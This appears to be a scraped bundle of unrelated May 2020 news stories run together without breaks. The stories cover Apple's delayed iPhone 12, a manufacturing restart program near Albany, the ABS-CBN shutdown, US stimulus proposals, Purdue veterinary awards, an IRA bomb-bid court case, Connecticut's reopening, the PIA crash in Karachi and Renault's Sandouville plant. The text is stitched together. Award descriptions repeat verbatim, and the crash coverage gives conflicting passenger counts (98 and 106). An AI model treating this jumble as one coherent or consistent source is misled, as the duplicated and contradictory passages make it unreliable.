In order to hit the mark, the firm must start ramping up production early in the summer and building inventory by August.

However, the firms factories in China were forced to close down in February due to the coronavirus spreading around the country and production came to a standstill.

Although Apple would still be building some of the new phones in the July-to-September period, the mass-production ramp-up will slide back by about a month, the people familiar with the matter told The Wall Street Journal.

Apple has steadily unveiled the new iPhone models in September for years, but numerous reports suggest users may have to wait until November to get their hands on one  the firm experienced delays due to the coronavirus pandemic that closed its factories in China earlier this year

But these sources also said that the firm is reducing the number of smartphones for purchase by 20 percent.

The delay of the flagship smartphones has been predicted by investors and analysts as early as February.

Earlier this month, Goldman Sachs suggested Apple may not release the iPhone 12 models until early November.

While Apple's primary assembler, Foxconn, says that it will be ready to meet demand for Apple's typical September launch, factors in other parts of Apple's supply chain may hinder that timeline.

As noted by 9to5Mac, suppliers in China have been significantly affected by lockdowns created by the COVID-19 outbreak.

Additionally, Apple has voiced concern about whether consumers will be willing to buy a premium phone as the economy worsens and many have their salaries reduced or lose their jobs entirely.

A separate report notes that Apple is set to release four new smartphones this year, according to The Wall Street Journal, The devices will come in three different sizes, one will be 5.4 inches, two at 6.1 inches and another model is 6.7 inches  some of the handset will support 5G (Pictured is Apple's new iPhone SE that launched in April)

Goldman Sachs said it expects iPhone shipments to drop 36 percent during the third quarter due to coronavirus-related lockdowns around the world and downgraded Apple Inc stock to 'sell.'

The brokerage firm also predicted that the average selling prices for consumer devices are likely to decline during a recession and remain weak well beyond the point when units recover.

'We do not assume that this downturn results in Apple losing users from its installed base' a Goldman Sachs analysts said in a note.

'We simply assume that existing users will keep devices longer and choose less expensive Apple options when they do buy a new device.'

Though Goldman Sachs downgraded Apple's stock, the tech giant's recently released budget device could help keep sales relatively stable.

Earlier this month, Apple revealed a smaller iPhone priced at $399, lowering the starting price for the company's smartphone line to broaden its appeal among budget-conscious customers.
ALBANY, N.Y.  To help local manufacturers with the reopening of the regional economy, the Chief Executives Network for Manufacturing (CEN), in partnership with the Center for Economic Growth (CEG), is sponsoring the Capital Region Manufacturing Re-Start Program.

This free resource is a program that will help manufacturers restart operations and enhance worker safety on shop floors.

Since the program launched last Tuesday, 10 Capital Region manufacturers have signed up to participate in it. Manufacturers can sign up for the program at: https://go.ceg.org/mfgrestart.

I am pleased to share CEN is sponsoring a Re-Start program in partnership with CEGs Business Growth Solutions team. This program will help manufacturers review, understand, and achieve compliance with the necessary steps to operate under recommended guidelines in light of the COVID-19 pandemic, CEN Chairman and President John Tattersall said in a news release.

The Capital Region Re-Start Program is being administered by CEG and is modeled after a similar initiative undertaken by the Manufacturers Association of Central New York (MACNY).

The Re-Start Program features an online portal supported by Microsoft Teams where participating manufacturers can get access to:

A chat system to communicate with peer manufacturers on best practices

A live document identifying local resources for PPE, sanitizing, signage, thermometers, and other related COVID-19 safety items;

Links to current CDC, Department of Health, and OAHSA guidelines;

The New York Manufacturing Extension Partnership (MEP) Back to Work Playbook;

A best practices safety checklist;

The CEN Safety Pledge; and

Peer review assistance.

An important  but optional  component of the Re-Start program is the CEN Safety Pledge. Under the Pledge, manufacturers would agree to take extraordinary steps to adhere to several best practices identified to enhance worker safety.

These steps include strategies for controlling site traffic, enhanced hygiene, social distancing and reduced density, emergency response and quarantine procedures, and robust communication.

Manufacturers who take the CEN Safety Pledge will be paired with a peer reviewer from another participating company; from an administrative standpoint peer reviewers will not be direct competitors to participating companies, and strict non-disclosure agreements will be put in place.

Guided by identified best practices and state and federal guidelines, the peer reviewers will provide manufacturers with recommendations on how to improve safety in their factories.
Journalist unions and representative organisations in the Asia Pacific are disturbed by the cease and desist order that forced Philippines broadcaster ABS-CBN broadcast to shut down in early May. The International Federation of Journalists (IFJ) and its affiliates across Asia-Pacific this week called on the Philippine government to urgently restore operations at ABS-CBN in a series of letters to the countrys ambassadors.

Workers of ABS-CBN and members of the National Union of Journalists of the Philippines rally to show support for the broadcaster in Manila on May 5, 2020. Credit: MARIA TAN / AFP

Journalists across the region expressed their objections at the closure of ABS-CBN on May 5 in a number of letters to Philippine embassies in Pakistan, Australia, Hong Kong, India Indonesia, Bangladesh and New Zealand. In the letters, journalist unions questioned President Rodrigo Duterte and his administrations attacks on ABS-CBN and expressed strong concerns for press freedom and the publics right to know in the Philippines as a result.

ABS-CBN is currently not able to broadcast for three months until the House of Representatives decides on the new franchise for the network in August.

ABS-CBN Corp has meanwhile filed a motion before the Supreme Court to immediately act on its plea to resume its broadcast. The closure of the Philippines largest broadcaster has immediately impacted its 11,000 ABS-CBN workers, but more broadly continues to impact news reporting and information provided to Philippines society amid the Covid-19 pandemic.

The IFJ notes the various efforts made to silence ABS-CBN, including threats from solicitor general Jose Calida to prosecute the National Telecommunications Commission (NTC) if it approve s the provisional authority. Such efforts to undermine the independent media and due process present a clear danger to media freedom and the publics right to know.

The IFJ said: We note that no satisfactory evidence has been presented for why the Congress has moved slowly to renew the ABS-CBN franchise. President Duterte has not only influenced the delays in the renewal process but has repeatedly threatened and censored the independent media network over the years.
When are we getting more coronavirus stimulus checks from the IRS?

The IRS is still distributing the first COVID-19 relief payments to Americans  millions are just now getting their money on debit cards  but meanwhile, the suspense keeps building about a second round.

The Democratic-controlled U.S. House has passed a bill calling for a new batch of coronavirus "stimulus checks" similar to the first, though slightly more generous for some families. But Republicans who lead the Senate say the plan is no good.

There are numerous other proposals. Several observers, including the head of the Federal Reserve, say the nation is still reeling from soaring unemployment and business closures, so the government is going to have to do something more.

Will that something include another round of direct payments? How much can you expect? And when?

The House 'Heroes Act': More $1,200 payments

The legislation that the U.S. House has approved is called the Health and Economic Recovery Omnibus Emergency Solutions Act  the "Heroes Act," for short.

Among other things, it would put as much as another $1,200 directly into the pockets of most Americans, this time including kids, to a limit of $6,000 per household.

The original payments  up to $1,200 for adults and $500 for each child under age 17  were part of a bill President Donald Trump signed on March 27.

Americans have used the money to cover basic expenses, build up emergency savings in case they're laid off, even take care of needs like buying life insurance so if they fall victim to the virus their loved ones will have financial protection.

When House Speaker Nancy Pelosi introduced the Heroes Act in mid-May, she made note of its $3 trillion price tag. But she said not taking action would be even more expensive.

"There are those who said, 'Lets just pause, Pelosi said. "Hunger doesnt take a pause. Rent doesnt take a pause. Bills dont take a pause."

The reaction to the Heroes Act

The House's "Heroes" didn't exactly get a ticker-tape parade.

Story continues

Both the White House and Senate Republicans declared the bill "dead on arrival"; President Trump said he would veto it if it reached his desk.

Sen. Mitch McConnell of Kentucky, the Republican leader, decided to put off the consideration of a new relief measure until after the Senate's weeklong Memorial Day recess next week. He told Fox News on Thursday that senators are "not quite ready to intelligently" put together a new package.

But members of his own party object to the idea of waiting.

"Anyone who thinks now is the time to go on recess hasn't been listening," tweeted Republican Sen. Cory Gardner of Colorado.

Other proposals include $2K monthly stimulus checks

Tom Grundy / Shutterstock

Alternate proposals would provide monthly $2,000 payments.

Several other measures have been pitched in Washington, including plans to give Americans larger stimulus checks  and more of them:

Some Senate Democrats want to give most Americans $2,000 a month , retroactive to March. Married couples would get $4,000 plus $2,000 each for up to three children. The payments wouldn't stop until three months after the Department of Health and Human Services has declared an end to the public health emergency.

A couple of Democrats in the House also have proposed giving most people $2,000 per month , for at least six months. This plan would provide $500 per child, for as many as three kids in a family.

The White House is reportedly exploring one-time payments to Americans of $5,000 . The money would be in the form of loans against future Social Security benefits. Once the time comes to claim Social Security in retirement, you wouldn't receive any benefits until the loan was paid off, with interest.

Instead of giving Americans more cash to ease their pandemic pain, some Republicans want to reduce payroll taxes for working people. Congressman Kevin Brady of Texas told The Wall Street Journal that a payroll tax cut would be a "more efficient" way of stimulating the economy.

Other Republicans want to do nothing. House Republican leader Kevin McCarthy told CNN he didn't "see the need" for another aid package, with states reopening and coronavirus testing expanding.

Why more stimulus checks are likely

When all is said and done, the government will probably provide Americans with another round of $1,200 payments, says the giant Wall Street firm Goldman Sachs.

"Our forecast assumes one more round of payments similar to what the bill proposes," writes Goldman Sachs strategist Jan Hatzius in a research note, as reported by Yahoo Finance. By "the bill," he means the House Heroes Act.

But the money won't come before the summer: "We do not expect Congress to enact the next round of fiscal measures until late June," Hatzius says.

Though the Senate has put things on hold, Sen. McConnell told Fox News that a deal on more relief is "not too far off."

President Trump sounded open to the idea of another aid package during a visit Thursday to a Ford Motor Co. factory in Michigan.

"I think we will. I think were going to be helping people out," he told reporters. "There could be one more nice shot."

Federal Reserve Chairman Jerome Powell says the U.S. economy is in danger of suffering lasting harm unless the government provides more help.

"Additional fiscal support could be costly, but worth it if it helps avoid long-term economic damage and leaves us with a stronger recovery," he said during a recent online speech.

Powell's words of warning shook financial markets so hard that he provided a bit of financial relief to some Americans, namely homebuyers and homeowners. Stocks plunged  but so did mortgage rates.
PVM Graduation Celebration Recognizes Award Recipients

The virtual Graduation Celebration hosted by the Purdue University College of Veterinary Medicine in lieu of traditional commencement exercises included the recognition of recipients of faculty, resident, intern, and student awards. Typically the awards would have been presented at the Graduation Gala on the eve of commencement, but due to the changes necessitated by the COVID-19 pandemic, the award recognition was incorporated into the colleges virtual celebration that was streamed via Facebook Live Saturday, May 16.

As part of the program the names of the awardees were scrolled across the screen, with special mention of the following faculty/resident/intern awards:

Dr. Trey Callahan, small animal medicine and surgery intern in the Purdue Veterinary Hospital, was awarded the Katie McCallister Award for demonstrating extraordinary compassion and empathy toward both patients and their families.

Katie McCallister Compassion Award  Dr. Robert Trey Callahan, small animal medicine and surgery intern

Established by Dr. Robert and Sandy McCallister and their family in memory of Katie, their beloved Sheltie, this award recognizes a resident or intern who demonstrates extraordinary compassion and empathy toward both patients and their families, possesses excellent communication skills that promote a sense of trust and confidence, and serves as an excellent role model for both students and peers in providing quality and compassionate care for their patients.

 Dr. Robert Trey Callahan, small animal medicine and surgery intern Established by Dr. Robert and Sandy McCallister and their family in memory of Katie, their beloved Sheltie, this award recognizes a resident or intern who demonstrates extraordinary compassion and empathy toward both patients and their families, possesses excellent communication skills that promote a sense of trust and confidence, and serves as an excellent role model for both students and peers in providing quality and compassionate care for their patients. Dr. Ann L. Johnson & Dr. Walter E. Hoffmann Resident Teaching Award  Dr. Sissy Hong, third-year resident in neurology

Established by a Purdue Veterinary Medicine alumna, Dr. Ann Johnson (PU DVM 75), and her husband, this award recognizes outstanding teaching by a resident in the Department of Veterinary Clinical Sciences.

 Dr. Sissy Hong, third-year resident in neurology Established by a Purdue Veterinary Medicine alumna, Dr. Ann Johnson (PU DVM 75), and her husband, this award recognizes outstanding teaching by a resident in the Department of Veterinary Clinical Sciences. Elanco Veterinary Nursing Outstanding Teaching Award  Dr. Mindy Anderson, visiting assistant professor of basic medical sciences and instructor in the Veterinary Nursing Program

Selected by a vote of the veterinary nursing students, this award recognizes excellence in teaching in the Veterinary Nursing Program.

 Dr. Mindy Anderson, visiting assistant professor of basic medical sciences and instructor in the Veterinary Nursing Program Selected by a vote of the veterinary nursing students, this award recognizes excellence in teaching in the Veterinary Nursing Program. Weedon Faculty Recognition Award  Dr. Jim Weisman, assistant dean for student affairs and clinical associate professor

Selected by a vote of the members of the DVM Class of 2020, this award recognizes the individual faculty member who has made the greatest contribution to their success during their four years in veterinary school.

Additionally, recipients of the following Veterinary Nursing Student Awards were recognized:

Eber H. Allen Leadership Award  Sarah Summerlot, AAS, and Samantha Thompson, AAS

Sponsored by the Northeast Indiana Veterinary Medical Association, this award is presented to veterinary nursing students who exhibit outstanding leadership and professionalism, which has resulted in advancing a positive image of the Veterinary Nursing Program.

 Sarah Summerlot, AAS, and Samantha Thompson, AAS Sponsored by the Northeast Indiana Veterinary Medical Association, this award is presented to veterinary nursing students who exhibit outstanding leadership and professionalism, which has resulted in advancing a positive image of the Veterinary Nursing Program. Highest Academic Achievement Award  Jennifer Davis, AAS

Sponsored by Harry and Freida Latshaw, this award recognizes the student who has excelled academically and has earned the highest grade point average in the associate degree program.

 Jennifer Davis, AAS Sponsored by Harry and Freida Latshaw, this award recognizes the student who has excelled academically and has earned the highest grade point average in the associate degree program. Outstanding Veterinary Nurse Award  Megan Allan, BS, RVT

This award, sponsored by Harry and Freida Latshaw, is awarded to a fourth-year veterinary nursing student who exhibits both outstanding academics and excellent clinical skills.

 Megan Allan, BS, RVT This award, sponsored by Harry and Freida Latshaw, is awarded to a fourth-year veterinary nursing student who exhibits both outstanding academics and excellent clinical skills. Veterinary Nurse Highest Technical Proficiency Award  Sarah Summerlot, AAS

Sponsored by Connie Han and Cheryl Hurd, this award recognizes a student for outstanding technical proficiency in clinical rotations in the Purdue Veterinary Hospital.

Recognition also was given to the following recipients of DVM Student Awards:

Dean Willie Reed presents Dr. Sissy Hong with her award certificate as the 2020 recipient of the Johnson and Hoffmann Teaching Award. This award is presented annually to a resident in the Department of Veterinary Clinical Sciences in recognition of outstanding teaching.

American College of Veterinary Surgeons Award  Dr. Danielle Keating, Large Animal Surgery, and Dr. Julie Mosher, Small Animal Surgery

This award is given to students who demonstrate academic and clinical proficiency in surgery, as well as aptitude and interest in surgery.

 Dr. Danielle Keating, Large Animal Surgery, and Dr. Julie Mosher, Small Animal Surgery This award is given to students who demonstrate academic and clinical proficiency in surgery, as well as aptitude and interest in surgery. IDEXX Award for Proficiency in Clinical Pathology  Dr. Sofia Lopez-Valle

This award recognizes a student who demonstrates a strong understanding of clinical pathology and its practical application to clinical cases.

 Dr. Sofia Lopez-Valle This award recognizes a student who demonstrates a strong understanding of clinical pathology and its practical application to clinical cases. Comparative Ophthalmology Award  Dr. Levi Smith

Established by veterinary ophthalmology alumni, this award is presented to a student who demonstrates excellence in academic performance, research, or service in comparative ophthalmology.

 Dr. Levi Smith Established by veterinary ophthalmology alumni, this award is presented to a student who demonstrates excellence in academic performance, research, or service in comparative ophthalmology. American Academy of Veterinary Dermatology Award  Dr. Cassandra Ceckowski

This award is presented to a student who excels in clinical dermatology.

 Dr. Cassandra Ceckowski This award is presented to a student who excels in clinical dermatology. Veterinary Cancer Society Award for Proficiency in Clinical Oncology  Dr. Eric Boone

This award recognizes a student who demonstrates proficiency in the care of veterinary oncology patients and aptitude in clinical oncology.

 Dr. Eric Boone This award recognizes a student who demonstrates proficiency in the care of veterinary oncology patients and aptitude in clinical oncology. American College of Veterinary Radiology Award  Dr. Brooke Unruh

This award is presented to a student excelling in comparative radiology and diagnostic imaging.

 Dr. Brooke Unruh This award is presented to a student excelling in comparative radiology and diagnostic imaging. Shelter Medicine Program Award  Dr. Samantha Swartzentruber

This award recognizes a student who exemplifies compassion for shelter pets, excellent interaction with shelter clients, and proficiency in shelter medicine.

 Dr. Samantha Swartzentruber This award recognizes a student who exemplifies compassion for shelter pets, excellent interaction with shelter clients, and proficiency in shelter medicine. Indiana State Poultry Association Award  Dr. Nick Newsome

This award honors a student with high proficiency in avian medicine.

 Dr. Nick Newsome This award honors a student with high proficiency in avian medicine. American Animal Hospital Association Award for Proficiency in Primary Care  Dr. Danielle Lower

This award is presented to a veterinary student with proficiency in primary care.

 Dr. Danielle Lower This award is presented to a veterinary student with proficiency in primary care. American College of Veterinary Pathologists Award for Excellence in Veterinary Pathology  Dr. Levi Smith

This award recognizes an outstanding veterinary student who demonstrates exceptional proficiency and interest in anatomic and/or clinical pathology.

 Dr. Levi Smith This award recognizes an outstanding veterinary student who demonstrates exceptional proficiency and interest in anatomic and/or clinical pathology. American College of Theriogenologists Clinical Proficiency Student Award  Dr. Brooke Unruh

This award honors a DVM student who exemplifies clinical proficiency in theriogenology.

 Dr. Brooke Unruh This award honors a DVM student who exemplifies clinical proficiency in theriogenology. Indiana Veterinary Medical Association Award for Clinical Proficiency in All Species  Dr. Julie Mosher, Small Animal; Dr. Brooke Unruh, Large Animal; and Dr. Sarah Bohac, All Species

This award recognizes proficiency in small animal medicine and surgery, large animal medicine and surgery, or in all species.

 Dr. Julie Mosher, Small Animal; Dr. Brooke Unruh, Large Animal; and Dr. Sarah Bohac, All Species This award recognizes proficiency in small animal medicine and surgery, large animal medicine and surgery, or in all species. American Association of Feline Practitioners Award  Dr. Samantha Swartzentruber

This recognition is awarded to a student demonstrating highest proficiency in feline medicine and surgery.

 Dr. Samantha Swartzentruber This recognition is awarded to a student demonstrating highest proficiency in feline medicine and surgery. Indiana Association of Equine Practitioners Award  Dr. Caitlin Smith, First Place; Dr. Danielle Keating, Second Place; and Dr. Hailey Everett, Third Place

This award recognizes three students who exhibit the highest proficiency in equine medicine and surgery and display the highest degree of professionalism.

 Dr. Caitlin Smith, First Place; Dr. Danielle Keating, Second Place; and Dr. Hailey Everett, Third Place This award recognizes three students who exhibit the highest proficiency in equine medicine and surgery and display the highest degree of professionalism. 15th District of the Indiana Veterinary Medical Association / American Association of Bovine Practitioners Excellence in Bovine Veterinary Medicine Award  Dr. Trey Gellert

This award is presented to a student who has demonstrated exceptional proficiency and interest in bovine production medicine and surgery.

 Dr. Trey Gellert This award is presented to a student who has demonstrated exceptional proficiency and interest in bovine production medicine and surgery. Central Indiana Veterinary Medical Association Award  Dr. Anne Marshall

This award honors a student with outstanding client communication skills.

 Dr. Anne Marshall This award honors a student with outstanding client communication skills. G. Edward Cummins Compassionate Care Award  Dr. Anna Sacco

This award was established by Elaine and Stephen Fess to recognize a student exemplifying clinical training and compassion for animals and clients alike.

 Dr. Anna Sacco This award was established by Elaine and Stephen Fess to recognize a student exemplifying clinical training and compassion for animals and clients alike. Bastien Award  Dr. Jessica Linder

This award was established by John and JoAnn Bastien and is presented to a student exemplifying empathy and exceptional care to canine patients.

 Dr. Jessica Linder This award was established by John and JoAnn Bastien and is presented to a student exemplifying empathy and exceptional care to canine patients. Veterinary Clinical Sciences Award for Exceptional Clinical Proficiency by a Clinical Year Student  Dr. Melissa Tilley

This award, sponsored by the Department of Veterinary Clinical Sciences, recognizes a student who demonstrates excellence in patient care, knowledge of medical principles of disease, teamwork, and improvement in clinical proficiency.

 Dr. Melissa Tilley This award, sponsored by the Department of Veterinary Clinical Sciences, recognizes a student who demonstrates excellence in patient care, knowledge of medical principles of disease, teamwork, and improvement in clinical proficiency. American College of Veterinary Internal Medicine Certificate of Clinical Excellence  Dr. Eric Boone, Small Animal; Dr. Kylie Roman, Small Animal; and Dr. Megan Swasey, Large Animal

This recognition is awarded to two students in small animal and one in large animal.

 Dr. Eric Boone, Small Animal; Dr. Kylie Roman, Small Animal; and Dr. Megan Swasey, Large Animal This recognition is awarded to two students in small animal and one in large animal. Indiana Horse Council Award  Dr. Danielle Keating

This award honors an Equine Club member who provided the greatest exposure to, participated in activities of, and heightened awareness of the Indiana equine industry for other veterinary students at Purdue during the preceding academic year.

 Dr. Danielle Keating This award honors an Equine Club member who provided the greatest exposure to, participated in activities of, and heightened awareness of the Indiana equine industry for other veterinary students at Purdue during the preceding academic year. 12th District of the Indiana Veterinary Medical Association Award  Dr. Sara Canada

This recognition is awarded to a student who demonstrates excellence in academic performance, research, or service in veterinary public health and preventive medicine.

 Dr. Sara Canada This recognition is awarded to a student who demonstrates excellence in academic performance, research, or service in veterinary public health and preventive medicine. Class of 1983 Award  Dr. Christina Smith

This award, established in honor of a Class of 1983 alumna, Dr. Madelynn Allen, is presented to a student who has overcome obstacles or persevered despite difficult circumstances in pursuit of the DVM degree.

 Dr. Christina Smith This award, established in honor of a Class of 1983 alumna, Dr. Madelynn Allen, is presented to a student who has overcome obstacles or persevered despite difficult circumstances in pursuit of the DVM degree. Purdue Veterinary Alumni Association Senior Leadership Award  Dr. Kylie Roman

This award honors a student selected by classmates for demonstrating leadership through involvement in school activities, service to community, and engagement with the veterinary medical profession.

Congratulations to all of the award recipients!

Writer(s): Kevin Doerr | pvmnews@purdue.edu
Police at the scene of the bomb bid in Eglinton in 2015

A Dublin man wanted over a suspected bid to kill a PSNI officer with an under-car bomb allegedly used his IRA connections to flee to Scotland, a court has been told.

Sean Paul Farrell, 35, appeared before magistrates in Belfast after he was arrested and brought back to Northern Ireland.

He is charged with attempting to murder the off-duty policeman in Eglinton, Co Londonderry on June 18, 2015.

Farrell, with a previous address at Kilfenora Road, Crumlin, faces a further count of possessing explosives with intent to endanger life.

A detective said the improvised explosive device (IED) planted under the officer's car could have had "devastating" consequences.

In February this year the High Court in Dublin ordered Farrell's extradition to Northern Ireland.

But according to police he went missing the following month.

He was detained under a warrant in the Glasgow area on Thursday.

Opposing bail at Belfast Magistrates' Court, an investigating detective claimed Farrell will go on the run again if released.

"We believe he's a member of the IRA and that he has used his connections within the IRA to leave the Republic of Ireland and get to Scotland," he said.

"If he gets out, with all his connections, he will do the same."

District Judge Fiona Bagnall was told the dissident paramilitary organisation remain active and pose a severe threat, targeting police officers, prison staff and members of the judiciary.

Referring to the growing level of sophistication in some devices, the detective added: "There have been 200-plus incidents where ATO (Army Technical Officers) have been called to the IRA's work over a 12-month period."

During cross-examination by defence solicitor Peter Corrigan, of Phoenix Law, he confirmed there is no forensic evidence linking Farrell to the under-car bomb.

Instead, the detective contended, the case against the accused involves circumstantial and CCTV evidence.

Farrell was allegedly in a stolen car involved in the murder bid a number of hours later, when it was spotted across the border in Ballybofey, Co Donegal.

"There's a significant gap in the time nexus," Mr Corrigan contended.

Disputing police assertions that his client absconded, the lawyer insisted Farrell had attended court throughout the extradition proceedings.

But despite offering a 10,000 surety, bail was refused due to the risk of flight.

Judge Bagnall remanded Farrell in custody to appear again by video-link on June 19.
Gov. Ned Lamont defended his administrations executive orders and timeline for reopening Connecticut while clarifying some of the rules on pools, dining and entering delis and ice cream shops at the Friday New Canaan Advertiser Coffee.

Lamont and David Lehman, commissioner of the Connecticut Department of Economic and Community Development attended the virtual meeting on Friday May 22.

How prescriptive can we be? I can write a 1,000-page protocol that makes sense, but 90 percent of this is me convincing people how to act safely; me convincing employers that if you follow these protocols, more likely your employees will want to get back to work and more likely your customers will feel more comfortable coming in, Lamont said.

As the area opens for outdoor dining in restaurants this week, after being closed to reduce the spread of the coronavirus pandemic, he explained some of his reasoning for his executive orders.

Let me just pull the lens back a little bit, so you have a little idea about the way we are thinking about things. We were the first state in the region to open up restaurants for outside dinning, not inside, he added.

It is 95 percent safer outside than inside, he added.

We wanted to do it alongside our neighbors, so we didnt have a ton of people going back and forth, over state lines, he said.

"Rhode Island and Massachusetts opened more or less at the same time and we have more or less the same infection rate, Lamont said.

He was worried about spread of the coronavirus pandemic that may happen from an sudden influx of people coming into the state. So then 45 minutes ago Eric Trump tweets out Hey New Yorkers in locked down New York, why dont you drive up to Connecticut and have a party and you can eat outside. Thats got 50,000 likes and retweets and New York has an infection rate three or four times, depending where you are, he said.

Those are sort of things we are trying to avoid, he added.

He said he plans to open the salons and barber shops June 1, instead of being the first ones out of the box to do it.

Recreation Director Steven Benko has questioned as to whether the Waveny Pool can be opened.

Municipal pools can be open now, Lehman said.

The Governors executive orders were always related to essential businesses and nonessential businesses, municipalities were always carved out, which means local parks, playgrounds and fields are under the jurisdiction of the town, Lehman said. They have had the ability to close or open as they see fit.

However, until the next executive order, expected, Saturday, June 20, social gatherings are expected to remain with a five-person limit in place.

Country club pools and the YMCA pools will be allowed to open June 20, and residential pools are allowed to be used at any time, Lehman explained.

Some of the thought process behind the June 20 date is summer school, day camps as well as youth sports, will include swimming after the school year ends.

There needs to be a consistency across all sports, we are not going to allow competitive swimming and not other competitive sports, Lamont said.

When we get to the end of school, all with this incremental activity, there may be more spread of the virus, that is how we came up with the June 20, he said.

If there is more transmission, they want to be able to track it, Lamont explained.

Just to give you some context, Lehman said. New Jersey New York and Delaware l have all mentioned they havent even thought of opening pools yet, so we are ahead of our peers here.

New Canaans delis and the ice cream shop have been required to continue to offer service curbside, but Lehman said that isnt coming from the state.

Can a person now walk into a deli and order sandwiches or does it have to be online or curbside only? New Canaan Advertiser editor and moderator of the coffee John Kovach asked.

That is fine, I view that just like going into to a convenience store, Lehman said, adding, if someone wants to order something at the counter with a mask on thats fine.

Who is supposed to take responsibility for those who refuse to where a mask, Kovach asked.

For business I view it as the equivalent to what used to be no shirts, no shoes, no service. If people arent wearing masks and they want to come in to your store  frankly, I think it is smart business, to decline because it will make others nervous, Lehman said.

We are asking business owners to post on their door that masks are required and mandated, he said.

The Gvernors rule it that masks or cloth face coverings are needed where you cant maintain social distancing, Lehman said.

With New York city residents increasingly looking for areas to move to, what can we do in Connecticut to better compete against Florida, Texas and the Carolinas? asked James Basch.

We havent seen this where fresh air and outdoor spaces and great health care and great schools has been as valuable as they are right now. I think we are talking about ways to market ourselves better. We needed to do that before this pandemic, but I think what is interesting now, we are marketing ourselves to individuals as opposed to companies, Lehman said.

As far as I am concerned, 95 percent of the people are taking it seriously, Lamont said.

Chamber of Commerce Executive Director Tucker Murphy asked, We have a couple a restaurants that can peel back their entire front window and you are sitting outside under the roof of the restaurant, they would love to have people at those tables, . . .is there any guidance on that?

We are trying to be flexible as possible, Lehman said. If it is a table at a window that opens up, it is inside if you have three other walls, he said. Dining in tents is OK, he added.

I have had a lot of questions about the end of executive orders, that Sept. 9 is the end. I have been convincing people that you arent looking to take over power here in Connecticut and that come Sept. 9 unless things are still bad all of the executive orders will expire, State Rep. Tom ODea (R-125), asked.

Lamont said he had no intention of extending executive orders beyond the necessary timeframe.
A passenger plane with 98 people on board has crashed in a crowded neighbourhood on the edge of the international airport near Pakistans southern port city of Karachi after what appeared to be an engine failure during landing.

Karachi mayor Wasim Akhtar said at least five or six houses were destroyed in the crash of the domestic flight operated by Pakistan International Airlines.

He said all those on board died, but two civil aviation officials later said that at least two people survived the crash.

Local TV stations reported that three people sitting in the front row of the plane survived and aired footage of a man on a stretcher they identified as Zafar Masood, the head of the Bank of Punjab.

They reported that at least 11 bodies were recovered from the crash site and six people were injured.

It was not immediately clear if the casualties were passengers.

Police wearing protective masks struggled to clear away crowds to allow a fire engine and an ambulance to move through the narrow streets towards the crash site, the air filled with dust and smoke.

Police and soldiers cordoned off the area.

A transmission of the pilots final exchange with air traffic control, posted on the website LiveATC.net, indicated he had failed to land and was circling around to make another attempt.

We are proceeding direct, sir  we have lost engine, a pilot said.

Confirm your attempt on belly, the air traffic controller said, offering a runway.

Sir  mayday, mayday, mayday, mayday Pakistan 8303, the pilot said before the transmission ended.

The aircraft arriving from the eastern city of Lahore was carrying 91 passengers and seven crew members, said Abdul Sattar Kokhar of Pakistans civil aviation authority.

Pakistan had resumed domestic flights earlier this week ahead of the Eid-al Fitr holiday marking the end of the Islamic fasting month of Ramadan.

Pakistan has been in a countrywide lockdown since mid-March to try to stem the spread of coronavirus.

Witnesses said the Airbus A320 appeared to attempt to land two or three times before crashing in a residential area near Jinnah International Airport.

The residential area, known as Model Colony, is poor and densely populated.

A resident, Abdul Rahman, said he saw the aircraft circle at least three times, appearing to try to land before it crashed into several houses.

Video on social media appeared to show the aircraft flying low over a residential area with flames shooting from one of its engines.

Shocked & saddened by the PIA crash. Am in touch with PIA CEO Arshad Malik, who has left for Karachi & with the rescue & relief teams on ground as this is the priority right now. Immediate inquiry will be instituted. Prayers & condolences go to families of the deceased.  Imran Khan (@ImranKhanPTI) May 22, 2020

Prime minister Imran Khan tweeted: Shocked & saddened by the PIA crash Immediate inquiry will be instituted. Prayers & condolences go to families of the deceased.

Airworthiness documents showed the plane last received a government check on November 1.

PIAs chief engineer signed a separate certificate on April 28 saying all maintenance had been conducted.

It said the aircraft was fully airworthy and meets all the safety standards.

Ownership records for the Airbus A320 showed China Eastern Airlines flew the plane from 2004 until 2014.

The plane then entered PIAs fleet, leased from GE Capital Aviation Services.

Pakistan International Airlines passenger plane with 106 on board crashes

A passenger plane belonging to state-run Pakistan International Airlines has crashed near the southern port city of Karachi, according to the countrys civil aviation authority.

There were no immediate reports on the number of casualties.

The aircraft arriving from the eastern city of Lahore was carrying 99 passengers and eight crew members, Abdul Sattar Kokhar said.

The PK 303 from Lahore to Karachi has crashed just before landing the officials confirm. The Airbus A320 went down onto the residential quarters, houses also damaged. pic.twitter.com/I3gu3kIL9W  Iftikhar Firdous (@IftikharFirdous) May 22, 2020

Witnesses said the Airbus A320 appeared to attempt to land two or three times before crashing in a residential area near Jinnah International Airport.

The residential area on the edge of the airport, known as Model Colony, is a poor area and densely inhabited.

A resident, Abdul Rahman, said he saw the aircraft circle at least three times, appearing to try to land at the airport before it crashed into several houses.

Police and soldiers have cordoned off the area.

Local television reports showed smoke coming from the direction of the airport. Ambulances were on their way.

The flight typically takes an hour and a half to travel from Lahore, the capital of Pakistans most populous Punjab province, to Karachi.

Airworthiness documents showed the plane last received a government check on November 1.

PIAs chief engineer signed a separate certificate on April 28 saying all maintenance had been conducted on the plane and it was fully airworthy and meets all the safety standards.
French carmaker Renault has reopened its Sandouville plant in north-western France, after being ordered to close it for not enforcing adequate protective measures in the wake of the coronavirus pandemic. The reopening comes as doubts swirl about the company's future in the economic slump as a result of the disease.

When the factory last reopened on 28 April, a court ruled that the safety measures put in place were insufficient and ordered it to shut the following week.

The case was brought by the CGT union which claimed it had not been properly consulted on the reopening.

One employee told the French radio station Europe 1, he was both relieved to be back at work but also anxious about the future.

Renault is expected to permanently shut three factories in France as it tries to mitigate the economic impact of the coronavirus and subsequent lockdown measures.

Cutting costs

The group will present a cost-savings plan of up to 2 billion euros to the government on 29 May.

The nearly 2,000-strong work force at the Sandouville plant are not facing the axe.

The plants affected include Choisy-le-Roi on the outskirts of Paris, the Fonderies factory in Brittany and the Dieppe plant in north-western France, which together employ over 1,000 workers.

Car makers around the world have been hit hard by the Covid-19 pandemic. Renault in particular was struggling with faltering demand before the coronavirus crisis and looking to cut costs.

Renault, the third-largest automaker in Europe, after Volkswagen Group and PSA Group, is waiting on a 5 billion euro state-guaranteed loan to help it weather the storm.

Domestic production

However, French finance minister, Bruno Le Maire, has warned that government help will not come for free.

"Renault is fighting for its future," Le Maire said in an interview on Thursday with the French daily newspaper Le Figaro.

"I have not yet signed the loan," he added. He said that a bailout would be made once certain conditions were met, notably that Renault should base its high-tech production at home and make France the hub for its electric cars.

Story continues

